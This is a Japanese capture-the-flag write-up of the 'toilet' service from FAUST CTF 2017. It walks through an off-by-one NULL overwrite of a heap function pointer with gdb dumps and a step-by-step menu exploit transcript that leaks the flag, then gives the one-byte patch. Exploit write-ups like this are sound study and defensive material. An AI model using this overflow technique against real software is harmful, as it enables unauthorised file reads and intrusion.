FAUST CTF 2017 writeup
はじめに
TokyoWesternsで参加して14161.47ptの8位だった。得点の内訳は、Attackが2412.00pt、Defenceが-651.05pt、SLAが12166.52ptだった。 自分は、8つあるサービスの1つであるtoiletのpatchとexploitをやった。toiletでflagを取られることはなかったのでpatchが完璧だったみたい。 exploitとpatchのwriteupを載せる。
toilet
Loginでの入力はfgets(stdin, name, 0x41)を使っており、0x40byteとNULLの1byteを書き込むことができる。書き込まれる先はheap上になっており、nameの直下にはFlushで使用する関数ポインタが格納されている。 しかし、name分の大きさは0x40byte分しかないので、fgetsのNULL終端で関数ポインタの下位1byteをNULLに上書きすることができる。
この状態で、関数ポインタ経由で関数を呼ぶと下記のような場所を呼ぶことができる。0x40249dでは、第一引数(rdi)にある文字列を'data/%s'に展開してopen()->read()する。バイナリをよく読んでないので詳細は分からないが、read()された文字列のポインタがnameとして設定されるので、Show current settings
でファイルの中身を読むことができる。data/配下にflagが書き込まれるので、あとはやるだけ。
gdb-peda$ x/20gx 0x606410 0x606410: 0x0000000000000000 0x0000000000000071 0x606420: 0x6161616161616161 0x6161616161616161 0x606430: 0x6161616161616161 0x6161616161616161 0x606440: 0x6161616161616161 0x6161616161616161 0x606450: 0x6161616161616161 0x6161616161616161 0x606460: 0x0000000000403000 0x0000000000000014 0x606470: 0x0000000000000000 0x0000000059288a7a 0x606480: 0x0000000065614388
gdb-peda$ x/7i 0x403000 0x403000: test rdi,rdi 0x403003: je 0x403010 0x403005: sub rsp,0x8 0x403009: call 0x40249d 0x40300e: jmp 0x403016 0x403010: mov eax,0x0 0x403015: ret
exploit
下記の手順でflagを読むことができる。
1. Login 適当に0x40byte入れる。関数ポインタの下位1byteがNULL(0x00)になる。 8. Show Log Nameからflagのfilenameを得る。これはそういう仕様。 5. Drop a load 最初の入力は適当に数byte入力する。ここは何でもいい。 次の入力で取得したflagのfilenameを入力する。 7. Flush open(flag) -> read()が走る。 4. Show current settings nameの箇所にflagがでてくる。
実際にやると、こんな感じ。flagはFAUST_WShgeNoH74XqhAAAAAByXae4mq/HQOoi
で、あとは適当に自動化するだけ。自動化は自動化のプロにやってもらった。
$$$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$$$\ $$$$$$$$\ \__$$ __|$$ __$$\ \_$$ _|$$ | $$ _____|\__$$ __| $$ | $$ / $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$$$$\ $$ | $$ | $$ | $$ | $$ | $$ | $$ __| $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$$$$$ |$$$$$$\ $$$$$$$$\ $$$$$$$$\ $$ | \__| \______/ \______|\________|\________| \__| Welcome to the our new smart toilet! It's the best experience you'll get since your change from diaper to potty! Try our note feature to keep track of your bowel movement! Even better, in our next update we'll add a twitter sharing option! 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice: 1 Please give me your name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice: 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice: 8 This is highly sensitive information and we respect your privacy! Therefore, we anonymize the names in this log. But be aware that we are forced by law to hand out any data in case of a government agencies request. ################################################################################################# #========================================= Log ===============================================# #===============================================================================================# #==== Name (anonymized) ==== | ==== Date ====# #========================================================================== | ==================# #==== 72508d056b428937372e831bad23753c3ad3e1cd66cb22d1e5b347850ddce5a8 ==== | ==== 01:54:03 ====# ################################################################################################# 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice: 5 Alright here we go! Don't hold back, give me everything you got! You've landed the jumbo! Nice work! Your load weights 00000339g Please describe the consistency: aaa Please leave a note about your gorgeous work: 72508d056b428937372e831bad23753c3ad3e1cd66cb22d1e5b347850ddce5a8 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice: 7 Going to flush now Aaaand it's gone! 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice: 4 ID: 954972103 Name: FAUST_WShgeNoH74XqhAAAAAByXae4mq/HQOoi Seat temperature: 20 Max. weight: 398 Last visit: 05:18:57 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice:
patch
fgets(stdin, name, 0x41)で1byte溢れるのが問題なので、fgets(stdin, name, 0x40)に修正した。この修正は問題なくSLAは通っていた。 適当にバイナリをvim -bで開き該当の箇所を直接書き換えてpatchを当てた。
おわりに
First Solve取れそうだったけど、間に合わなかった。次はFirst Solveとりたい。 あと最近、オンラインA&Dが多い気がする。